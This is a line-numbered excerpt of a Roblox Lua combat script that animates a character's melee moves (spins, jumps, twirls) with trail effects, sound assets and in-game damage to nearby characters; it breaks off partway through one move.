3484 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3) | |
3485 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3486 | Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2) | |
3487 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3488 | RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3) | |
3489 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3490 | end | |
3491 | --dmgstop() | |
3492 | attack=false | |
3493 | con1:disconnect() | |
3494 | if TrailDeb == true then | |
3495 | TrailDeb = false | |
3496 | end | |
3497 | end | |
3498 | ||
3499 | function attackfour() | |
3500 | attack=true | |
3501 | if TrailDeb == false then | |
3502 | TrailDeb = true | |
3503 | end | |
3504 | ||
3505 | ||
3506 | coroutine.wrap(function() | |
3507 | local Old = Handle2.CFrame.p | |
3508 | while wait()do | |
3509 | if not TrailDeb then break end | |
3510 | local New = Handle2.CFrame.p | |
3511 | local Mag =(Old -New).magnitude | |
3512 | local Dis =(Old +New)/2 | |
3513 | local Trail = Instance.new("Part",Character) | |
3514 | Trail.Material = "Neon" | |
3515 | Trail.Anchored = true | |
3516 | Trail.CanCollide = false | |
3517 | Trail.BrickColor = TorsoColor | |
3518 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3519 | Trail.TopSurface = 0 | |
3520 | Trail.BottomSurface = 0 | |
3521 | Trail.formFactor = "Custom" | |
3522 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3523 | local ms = Instance.new("BlockMesh",Trail) | |
3524 | ms.Scale = Vector3.new(1,1,1) | |
3525 | local TM = Instance.new("CylinderMesh",Trail) | |
3526 | TM.Scale = Vector3.new(1,1,1) | |
3527 | Old = New | |
3528 | coroutine.wrap(function() | |
3529 | for i = 1,0,-0.1 do | |
3530 | wait() | |
3531 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3532 | end | |
3533 | Trail:remove() | |
3534 | end)() | |
3535 | coroutine.wrap(function() | |
3536 | for i = 1,10 do | |
3537 | wait() | |
3538 | Trail.Transparency = Trail.Transparency +0.1 | |
3539 | end end)()end end)() | |
3540 | coroutine.wrap(function() | |
3541 | local Old = Handle.CFrame.p | |
3542 | while wait()do | |
3543 | if not TrailDeb then break end | |
3544 | local New = Handle.CFrame.p | |
3545 | local Mag =(Old -New).magnitude | |
3546 | local Dis =(Old +New)/2 | |
3547 | local Trail = Instance.new("Part",Character) | |
3548 | Trail.Material = "Neon" | |
3549 | Trail.Anchored = true | |
3550 | Trail.CanCollide = false | |
3551 | Trail.BrickColor = TorsoColor | |
3552 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3553 | Trail.TopSurface = 0 | |
3554 | Trail.BottomSurface = 0 | |
3555 | Trail.formFactor = "Custom" | |
3556 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3557 | local ms = Instance.new("BlockMesh",Trail) | |
3558 | ms.Scale = Vector3.new(1,1,1) | |
3559 | local TM = Instance.new("CylinderMesh",Trail) | |
3560 | TM.Scale = Vector3.new(1,1,1) | |
3561 | Old = New | |
3562 | coroutine.wrap(function() | |
3563 | for i = 1,0,-0.1 do | |
3564 | wait() | |
3565 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3566 | end | |
3567 | Trail:remove() | |
3568 | end)() | |
3569 | coroutine.wrap(function() | |
3570 | for i = 1,10 do | |
3571 | wait() | |
3572 | Trail.Transparency = Trail.Transparency +0.1 | |
3573 | end end)()end end)() | |
3574 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3575 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3576 | for i=0,1,0.08 do | |
3577 | swait() | |
3578 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) | |
3579 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3580 | Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3581 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3582 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) | |
3583 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) | |
3584 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3585 | LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) | |
3586 | end | |
3587 | if anim then | |
3588 | anim.Disabled=true | |
3589 | end | |
3590 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7) | |
3591 | so("http://www.roblox.com/asset/?id=159882584",Torso,1,1) | |
3592 | for i=0,1,0.04 do | |
3593 | swait() | |
3594 | Torso.Velocity=RootPart.CFrame.lookVector*50 | |
3595 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3) | |
3596 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3597 | Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3598 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3599 | RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3600 | LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3601 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
3602 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
3603 | end | |
3604 | --dmgstop() | |
3605 | attack=false | |
3606 | con1:disconnect() | |
3607 | con2:disconnect() | |
3608 | if anim then | |
3609 | anim.Disabled=false | |
3610 | end | |
3611 | if TrailDeb == true then | |
3612 | TrailDeb = false | |
3613 | end | |
3614 | end | |
3615 | ||
3616 | function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2) | |
3617 | local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5)) | |
3618 | prt.Anchored = true | |
3619 | prt.CFrame = cframe | |
3620 | local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1)) | |
3621 | coroutine.resume(coroutine.create(function() | |
3622 | for i = 0, 1, 0.05 do | |
3623 | wait() | |
3624 | prt.Transparency = i | |
3625 | msh.Scale = msh.Scale + vt(x2, y2, z2) | |
3626 | end | |
3627 | prt.Parent = nil | |
3628 | end)) | |
3629 | end | |
3630 | ||
3631 | function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type) | |
3632 | for _, c in pairs(workspace:children()) do | |
3633 | local hum = c:findFirstChild("Humanoid") | |
3634 | if hum ~= nil then | |
3635 | local head = c:findFirstChild("Torso") | |
3636 | if head ~= nil then | |
3637 | local targ = head.Position - Part.Position | |
3638 | local mag = targ.magnitude | |
3639 | if mag <= magni and c.Name ~= Player.Name then | |
3640 | Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3) | |
3641 | end | |
3642 | end | |
3643 | end | |
3644 | end | |
3645 | end | |
3646 | ||
3647 | function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) | |
3648 | local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5)) | |
3649 | prt.Anchored = true | |
3650 | prt.CFrame = cframe | |
3651 | local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1)) | |
3652 | game:GetService("Debris"):AddItem(prt, 2) | |
3653 | coroutine.resume(coroutine.create(function(Part, Mesh) | |
3654 | for i = 0, 1, delay do | |
3655 | swait() | |
3656 | Part.CFrame = Part.CFrame | |
3657 | Part.Transparency = i | |
3658 | Mesh.Scale = Mesh.Scale + vt(x3, y3, z3) | |
3659 | end | |
3660 | Part.Parent = nil | |
3661 | end), prt, msh) | |
3662 | end | |
3663 | ||
3664 | function MagicJump() | |
3665 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
3666 | attack=true | |
3667 | mana=mana-25 | |
3668 | --[[ Humanoid.WalkSpeed = 0 | |
3669 | for i=0,1,0.01 do | |
3670 | swait() | |
3671 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1) | |
3672 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1) | |
3673 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
3674 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1) | |
3675 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1) | |
3676 | RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1) | |
3677 | LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1) | |
3678 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1) | |
3679 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1) | |
3680 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1) | |
3681 | end]]-- | |
3682 | Humanoid.Jump = true | |
3683 | Torso.Velocity = vt(0, 150, 0) | |
3684 | Humanoid.WalkSpeed = 64 | |
3685 | so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) | |
3686 | so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) | |
3687 | for i=0,1,0.05 do | |
3688 | swait() | |
3689 | Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3) | |
3690 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
3691 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3) | |
3692 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3) | |
3693 | RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3) | |
3694 | RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2) | |
3695 | LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2) | |
3696 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2) | |
3697 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2) | |
3698 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2) | |
3699 | end | |
3700 | for i=0,1,0.02 do | |
3701 | swait() | |
3702 | Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3) | |
3703 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
3704 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3) | |
3705 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3) | |
3706 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
3707 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3) | |
3708 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
3709 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2) | |
3710 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2) | |
3711 | handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
3712 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2) | |
3713 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2) | |
3714 | end | |
3715 | Humanoid.WalkSpeed = 0 | |
3716 | swait(8) | |
3717 | so("http://www.roblox.com/asset/?id=199145477",Torso,1,1) | |
3718 | so("http://www.roblox.com/asset/?id=199145477",Torso,1,1) | |
3719 | local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character) | |
3720 | if hit~=nil then | |
3721 | swait(2) | |
3722 | local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Really black"),"Effect",vt()) | |
3723 | ref.Anchored=true | |
3724 | ref.CFrame=cf(pos) | |
3725 | game:GetService("Debris"):AddItem(ref,3) | |
3726 | for i=1,10 do | |
3727 | local Col=BrickColor.new("Really black") | |
3728 | local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100)) | |
3729 | groundpart.Anchored=true | |
3730 | groundpart.CanCollide=false | |
3731 | groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
3732 | local Col2=TorsoColor | |
3733 | local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100)) | |
3734 | groundpart2.Anchored=true | |
3735 | groundpart2.CanCollide=false | |
3736 | groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
3737 | game:GetService("Debris"):AddItem(groundpart,5) | |
3738 | game:GetService("Debris"):AddItem(groundpart2,5) | |
3739 | end | |
3740 | BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4) | |
3741 | BlastEffect(BrickColor.new("Really black"),cf(pos),.9,.9,.9,1.2,1.2,1.2) | |
3742 | MagicCircle(BrickColor.new("Really black"),cf(pos),5,5,5,5,5,5,0.05) | |
3743 | MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05) | |
3744 | for i=0,1,0.06 do | |
3745 | swait() | |
3746 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3) | |
3747 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
3748 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3) | |
3749 | RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3) | |
3750 | LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3) | |
3751 | RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3) | |
3752 | LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3) | |
3753 | handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
3754 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2) | |
3755 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2) | |
3756 | end | |
3757 | end | |
3758 | swait(20) | |
3759 | Humanoid.WalkSpeed = 12 | |
3760 | --dmgstop() | |
3761 | attack=false | |
3762 | end | |
3763 | end | |
3764 | ||
3765 | function Spin() | |
3766 | attack=true | |
3767 | mana=mana-40 | |
3768 | if TrailDeb == false then | |
3769 | TrailDeb = true | |
3770 | end | |
3771 | ||
3772 | coroutine.wrap(function() | |
3773 | local Old = Handle2.CFrame.p | |
3774 | while wait()do | |
3775 | if not TrailDeb then break end | |
3776 | local New = Handle2.CFrame.p | |
3777 | local Mag =(Old -New).magnitude | |
3778 | local Dis =(Old +New)/2 | |
3779 | local Trail = Instance.new("Part",Character) | |
3780 | Trail.Material = "Neon" | |
3781 | Trail.Anchored = true | |
3782 | Trail.CanCollide = false | |
3783 | Trail.BrickColor = TorsoColor | |
3784 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3785 | Trail.TopSurface = 0 | |
3786 | Trail.BottomSurface = 0 | |
3787 | Trail.formFactor = "Custom" | |
3788 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3789 | local ms = Instance.new("BlockMesh",Trail) | |
3790 | ms.Scale = Vector3.new(1,1,1) | |
3791 | local TM = Instance.new("CylinderMesh",Trail) | |
3792 | TM.Scale = Vector3.new(1,1,1) | |
3793 | Old = New | |
3794 | coroutine.wrap(function() | |
3795 | for i = 1,0,-0.1 do | |
3796 | wait() | |
3797 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3798 | end | |
3799 | Trail:remove() | |
3800 | end)() | |
3801 | coroutine.wrap(function() | |
3802 | for i = 1,10 do | |
3803 | wait() | |
3804 | Trail.Transparency = Trail.Transparency +0.1 | |
3805 | end end)()end end)() | |
3806 | coroutine.wrap(function() | |
3807 | local Old = Handle.CFrame.p | |
3808 | while wait()do | |
3809 | if not TrailDeb then break end | |
3810 | local New = Handle.CFrame.p | |
3811 | local Mag =(Old -New).magnitude | |
3812 | local Dis =(Old +New)/2 | |
3813 | local Trail = Instance.new("Part",Character) | |
3814 | Trail.Material = "Neon" | |
3815 | Trail.Anchored = true | |
3816 | Trail.CanCollide = false | |
3817 | Trail.BrickColor = TorsoColor | |
3818 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3819 | Trail.TopSurface = 0 | |
3820 | Trail.BottomSurface = 0 | |
3821 | Trail.formFactor = "Custom" | |
3822 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3823 | local ms = Instance.new("BlockMesh",Trail) | |
3824 | ms.Scale = Vector3.new(1,1,1) | |
3825 | local TM = Instance.new("CylinderMesh",Trail) | |
3826 | TM.Scale = Vector3.new(1,1,1) | |
3827 | Old = New | |
3828 | coroutine.wrap(function() | |
3829 | for i = 1,0,-0.1 do | |
3830 | wait() | |
3831 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3832 | end | |
3833 | Trail:remove() | |
3834 | end)() | |
3835 | coroutine.wrap(function() | |
3836 | for i = 1,10 do | |
3837 | wait() | |
3838 | Trail.Transparency = Trail.Transparency +0.1 | |
3839 | end end)()end end)() | |
3840 | Footsteps:Stop() | |
3841 | Footsteps2:Stop() | |
3842 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3843 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3844 | so("http://www.roblox.com/asset/?id=159882497",Torso,1,1) | |
3845 | for i=0,1,0.1 do | |
3846 | swait() | |
3847 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
3848 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3849 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3850 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3851 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3852 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3853 | end | |
3854 | if anim then | |
3855 | anim.Disabled=true | |
3856 | end | |
3857 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) | |
3858 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) | |
3859 | for i=0,1,0.05 do | |
3860 | swait() | |
3861 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
3862 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3) | |
3863 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3864 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3865 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3866 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3867 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3868 | end | |
3869 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) | |
3870 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) | |
3871 | for i=0,1,0.05 do | |
3872 | swait() | |
3873 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
3874 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3) | |
3875 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3876 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3877 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3878 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3879 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3880 | end | |
3881 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) | |
3882 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) | |
3883 | for i=0,1,0.05 do | |
3884 | swait() | |
3885 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
3886 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3) | |
3887 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3888 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3889 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3890 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3891 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3892 | end | |
3893 | --dmgstop() | |
3894 | Humanoid.WalkSpeed=12 | |
3895 | attack=false | |
3896 | con1:disconnect() | |
3897 | con2:disconnect() | |
3898 | if anim then | |
3899 | anim.Disabled=false | |
3900 | end | |
3901 | if TrailDeb == true then | |
3902 | TrailDeb = false | |
3903 | end | |
3904 | end | |
3905 | ||
3906 | function Twirl() | |
3907 | mana=mana-50 | |
3908 | attack=true | |
3909 | if TrailDeb == false then | |
3910 | TrailDeb = true | |
3911 | end | |
3912 | ||
3913 | ||
3914 | coroutine.wrap(function() | |
3915 | local Old = Handle2.CFrame.p | |
3916 | while wait()do | |
3917 | if not TrailDeb then break end | |
3918 | local New = Handle2.CFrame.p | |
3919 | local Mag =(Old -New).magnitude | |
3920 | local Dis =(Old +New)/2 | |
3921 | local Trail = Instance.new("Part",Character) | |
3922 | Trail.Material = "Neon" | |
3923 | Trail.Anchored = true | |
3924 | Trail.CanCollide = false | |
3925 | Trail.BrickColor = TorsoColor | |
3926 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3927 | Trail.TopSurface = 0 | |
3928 | Trail.BottomSurface = 0 | |
3929 | Trail.formFactor = "Custom" | |
3930 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3931 | local ms = Instance.new("BlockMesh",Trail) | |
3932 | ms.Scale = Vector3.new(1,1,1) | |
3933 | local TM = Instance.new("CylinderMesh",Trail) | |
3934 | TM.Scale = Vector3.new(1,1,1) | |
3935 | Old = New | |
3936 | coroutine.wrap(function() | |
3937 | for i = 1,0,-0.1 do | |
3938 | wait() | |
3939 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3940 | end | |
3941 | Trail:remove() | |
3942 | end)() | |
3943 | coroutine.wrap(function() | |
3944 | for i = 1,10 do | |
3945 | wait() | |
3946 | Trail.Transparency = Trail.Transparency +0.1 | |
3947 | end end)()end end)() | |
3948 | coroutine.wrap(function() | |
3949 | local Old = Handle.CFrame.p | |
3950 | while wait()do | |
3951 | if not TrailDeb then break end | |
3952 | local New = Handle.CFrame.p | |
3953 | local Mag =(Old -New).magnitude | |
3954 | local Dis =(Old +New)/2 | |
3955 | local Trail = Instance.new("Part",Character) | |
3956 | Trail.Material = "Neon" | |
3957 | Trail.Anchored = true | |
3958 | Trail.CanCollide = false | |
3959 | Trail.BrickColor = TorsoColor | |
3960 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3961 | Trail.TopSurface = 0 | |
3962 | Trail.BottomSurface = 0 | |
3963 | Trail.formFactor = "Custom" | |
3964 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3965 | local ms = Instance.new("BlockMesh",Trail) | |
3966 | ms.Scale = Vector3.new(1,1,1) | |
3967 | local TM = Instance.new("CylinderMesh",Trail) | |
3968 | TM.Scale = Vector3.new(1,1,1) | |
3969 | Old = New | |
3970 | coroutine.wrap(function() | |
3971 | for i = 1,0,-0.1 do | |
3972 | wait() | |
3973 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3974 | end | |
3975 | Trail:remove() | |
3976 | end)() | |
3977 | coroutine.wrap(function() | |
3978 | for i = 1,10 do | |
3979 | wait() | |
3980 | Trail.Transparency = Trail.Transparency +0.1 | |
3981 | end end)()end end)() | |
3982 | Footsteps:Stop() | |
3983 | Footsteps2:Stop() | |
3984 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3985 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3986 | so("http://www.roblox.com/asset/?id=159882598",Torso,1,1) | |
3987 | for i=0,1,0.1 do | |
3988 | swait() | |
3989 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
3990 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3991 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3992 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3993 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
